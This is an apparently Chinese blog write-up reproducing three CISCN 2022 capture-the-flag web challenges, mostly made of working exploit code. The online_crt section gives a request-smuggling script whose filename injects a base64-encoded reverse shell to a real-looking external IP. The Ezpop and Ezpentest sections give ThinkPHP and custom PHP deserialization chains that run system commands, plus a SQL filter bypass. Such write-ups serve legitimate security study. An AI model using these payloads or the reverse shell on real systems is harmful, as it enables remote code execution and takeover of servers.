Contents

CISCN 2022 复现

CISCN 2022 复现

online_crt

考察的点为CVE-2022-1292:不安全的c_rehash文件执行对象的名称如果带有反引号`,则会将其作为命令执行

下载源码可以得到代码

import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend())
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM))
    return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

访问/getcrt可以获得一个证书文件;/createlink路由是触发点,最终执行命令;/proxy访问在8887端口的go服务;

package main

import (
	"github.com/gin-gonic/gin"
	"os"
	"strings"
)

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}

当路由为/admin/rename可以去修改crt的名字,即可以设置为我们要执行命令的base64编码

但是在其中有一个判断

if c.Request.URL.RawPath != "" && c.Request.Host == "admin"

第一个的绕过很简单,就是让请求的url和经过url解码的url不一样就可以了,所以我们只要对原始的url的一个特殊符号进行url编码即可绕过,第二个在/proxy写好了请求头,其中uri可控,所以我们可以进行http走私,构造出一个新的完全可以掌控的请求,脚本如下:

import urllib.parse
uri = '''/admin%2frename?oldname=c55d246a-725c-49fb-b47b-cecf62dce079.crt&newname=`echo%20L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ5LjIzMi4yMTQuMjAxLzY3NjcgMD4mMQ|base64%20--decode|bash>ccc.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close

'''
gopher = uri.replace("\n","\r\n")
enc = urllib.parse.quote(gopher)
print(enc)

这里使用了反弹shell的base64编码,执行脚本后生成对应的uri

https://raw.githubusercontent.com/an5er/cloudimg/main/blog/202207141545625.png

随后访问ssrf访问对应的uri

https://raw.githubusercontent.com/an5er/cloudimg/main/blog/202207141551721.png

其中的uri被后端获取是靠

uri = request.form.get("uri", "/")

所以我们需要加上个请求头

Content-Type: application/x-www-form-urlencoded

然后访问/createlink执行命令,成功反弹shell

https://raw.githubusercontent.com/an5er/cloudimg/main/blog/202207141538366.png

看了下原题好像是不出网的,只要将反弹shell改为正常的命令即可

Ezpop

首先随便输入爆出tp的版本

https://raw.githubusercontent.com/an5er/cloudimg/main/blog/202207150252129.png

目录扫描有www.zip源码泄露,直接来到controller

https://raw.githubusercontent.com/an5er/cloudimg/main/blog/202207150252662.png

发现反序列化了我们post传入的a,网上抄条链子即可使用

<?php

namespace think {

    use think\route\Url;

    abstract class Model
    {
        private $lazySave;
        private $exists;
        protected $withEvent;
        protected $table;
        private $data;
        private $force;
        public function __construct()
        {
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->table = new Url();
            $this->force = true;
            $this->data = ["1"];
        }
    }
}

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
        function __construct()
        {
            parent::__construct();
        }
    }
    $b = new Pivot();
    echo urlencode(serialize($b));
}

namespace think\route {

    use think\Middleware;
    use think\Validate;

    class Url
    {
        protected $url;
        protected $domain;
        protected $app;
        protected $route;
        public function __construct()
        {
            $this->url = 'a:';
            $this->domain = "<?php system('cat /flag.txt');?>";
            $this->app = new Middleware();
            $this->route = new Validate();
        }
    }
}

namespace think {

    use think\view\driver\Php;

    class Validate
    {
        public function __construct()
        {
            $this->type['getDomainBind'] = [new Php(), 'display'];
        }
    }
    class Middleware
    {
        public function __construct()
        {
            $this->request = "2333";
        }
    }
}

namespace think\view\driver {
    class Php
    {
        public function __construct()
        {
        }
    }
}

如果出不来需要注意下url编码的问题

https://raw.githubusercontent.com/an5er/cloudimg/main/blog/202207150249790.png

Ezpentest

挺逆天的一题,waf到最后被当hint拿出来

<?php
function safe($a)
{
    $r = preg_replace('/[\s,()#;*~\-]/', '', $a); //空白,包括空格、换行、tab缩进 () # ; ~ -
    $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i', '', $r); //带这种union binary regexp rlike直接清空
    return (string) $r;
}

就虎符那题改了下,报错的点使用大数溢出来报错

+18446744073709551615+2+''

比赛的时候尝试过,但是踩坑了,加号的连接问题,所以卡住了

以下没有环境,单纯跟着师傅复现学习知识点

登录后,有一个混淆的文件和SomeClass.php

<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}
?>

混淆的文件直接下载下来会出现符号的问题,使用脚本下载

<?php
$url ="http://url/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_COOKIE, "session=xxxxxx");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("pop.php",$result);
?>

在文件中也看到了使用的是PHPJiaMi混淆,可以使用工具进行解混淆:https://github.com/PikuYoake/phpjiami_decode

解混淆后

<?php
session_start();
if(!isset($_SESSION['login'])){
    die();
}
function Al($classname){
    include $classname.".php";
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    $o = unserialize($c);
    if($o === false) {
        die("Error Format");
    }else{
        spl_autoload_register('Al');
        $o = unserialize($c);
        $raw = serialize($o);
        if(preg_match("/Some/i",$raw)){
            throw new Error("Error");
        }
        $o = unserialize($raw);
        var_dump($o);
    }
}else {
    echo file_get_contents("SomeClass.php");
}

所以现在的入口在反混淆后的代码中,因为执行点和链子都在Someclass文件中,所以在spl_autoload_register('Al');要去包含Someclass.php也就是得去构造个SomeClass类。然后就是链子的构造:

E::__destruct() -> B::__toString() -> A::see()

看看A::see()https://raw.githubusercontent.com/an5er/cloudimg/main/blog/202207150339362.png

主要是两点,第一个是设置$b的属性的类名不为SomeClass.php,这里可以使用原生类,例如ArrayObjectError;第二要求$b内存在类似键值对,然后执行对应方法和放入对应参数

<?php
include  "SomeClass.php";

class SomeClass{
    public $a;
}

$e = new E();
$a = new A();
$b = new B();

$e->a = $b;
$b->a = $a;
$arr = new ArrayObject();
$arr->a = "system";
$arr->b = "php -v";
$a->b = $arr;
$c = new SomeClass();
$c->a = $e;
echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));


re

https://erroratao.github.io/2022/05/30/CISCN2022_Ezpentest/